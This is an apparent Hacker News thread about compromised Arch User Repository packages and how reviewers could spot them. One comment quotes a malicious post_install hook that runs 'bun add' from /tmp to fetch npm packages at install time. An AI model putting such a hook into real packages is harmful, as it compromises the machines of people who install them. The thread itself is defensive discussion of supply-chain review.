upvote

points

by codemac3 hours ago |
comments
upvoteby craftkiller1 hours ago|
next
[-]
> The advantage to the AUR is just that you can reasonably review every PKGBUILD for what you're installing

Simply reviewing the PKGBUILD is not enough for the same reason reviewing a Makefile is not enough: You need to review the source code for _everything_ that is being downloaded and executed on your machine. For AUR packages, that means not just the PKGBUILD but the full source code for the program it is building and the full source code for any of its dependencies.

Hypothetical example: you wouldn't have caught the xzutils exploit by reading the PKGBUILD.

reply
upvoteby codemac50 minutes ago|
parent|
[-]
Right, the PKGBUILD only helps you review if you're installing what you intend to - not verifying if what you're installing contains any hacks.

This hack in particular added random npm packages that would have been unneeded/unintentional, and was visible in the PKGBUILDs directly.

reply
upvoteby craftkiller45 minutes ago|
parent|
[-]
True, but looking at a compromised PKGBUILD[0], it looks like it is installing "atomic-lockfile" and "figures". I think 99% of people reading the PKGBUILD would assume those are legit dependencies needed by the program. It's not like it was running "npm install 1337hax0r". Which is why you need to read the source for both "atomic-lockfile" and "figures" (and literally everything else).

[0] https://aur.archlinux.org/cgit/aur.git/commit/?h=pass-cli&id...

reply
upvoteby codemac38 minutes ago|
parent|
[-]
It adds npm as a dependency, to a go build?

It changes the contributor email?

to install random npm packages?!

in /tmp?! in post_install()??! With a new random contributor email????

Archlinux is focused on enabling a specific type of user, and certainly ones that can read bash scripts, and understand reasonable depedencies vs unreasonable ones. And even then - this is specifically in the AUR and not a package the distro directly offers.

reply
upvoteby craftkiller28 minutes ago|
parent|
[-]
> It adds npm as a dependency, to a go build?

Programs often invoke other programs through the exec* family of syscalls. For example, git is written in C but it ships with perl dependencies. It is not unreasonable to assume pass-cli added a runtime dependency on a program written in javascript. Regardless, we're talking hundreds of AUR packages have been compromised, I'd be shocked if none of them were javascript-based programs. Perhaps pass-cli was simply a bad example for me to choose.

> It changes the contributor email?

I think this is the 2nd most sus change, but even so, I have changed email addresses over the years so it isn't completely unreasonable.

> in /tmp?!

And yes, this is the most sus change.

reply
upvoteby DavideNL2 hours ago|
prev|
[-]
Curious, in this specific case: if people DID review the PKGBUILD, what exactly would they recognize to spot these packages were compromised ?
reply
upvoteby Tharre2 hours ago|
parent|
next
[-]
From the concrete example someone posted below, you'd see that a post-install hook exists, literally this line:

> install=toggldesktop-bin-deps.install

And the toggldesktop-bin-deps.install contains this:

> post_install() {{

> cd /tmp

> bun add axios uuid ora js-digest

> }}

Seeing any install hook download anything from the web should immediately raise alarms when reviewing, even before you checkout what packages it actually installs.

reply
upvoteby codemac49 minutes ago|
parent|
[-]
Exactly, these hacks really stand out to me, and used odd patterns (like .install files that just had 2-3 line post_install functions) etc.
reply
upvoteby Matl2 hours ago|
parent|
prev|
next
[-]
Some things I try to check for

- sources array has sources that don't correlate to the package name/purpose or are from strange places, like github repos that don't seem relevant etc.

- extensive post install scripts suggesting it's doing a lot more than is normal

But those are very crude, I wonder if an AUR helper could optionally consult a local LLM to review a PKGBUILD before installing these days...

reply
upvoteby weaksauce2 hours ago|
parent|
prev|
[-]
typically attacks happen when the URL for the source code or binary gets changed significantly... or like in this attack someone adds something to the post_install section which does something like add an npm install command. a lot of updates for binaries are just version bumps and SHA hashes changing which are easy to vet if you trust the source to not be compromised.
reply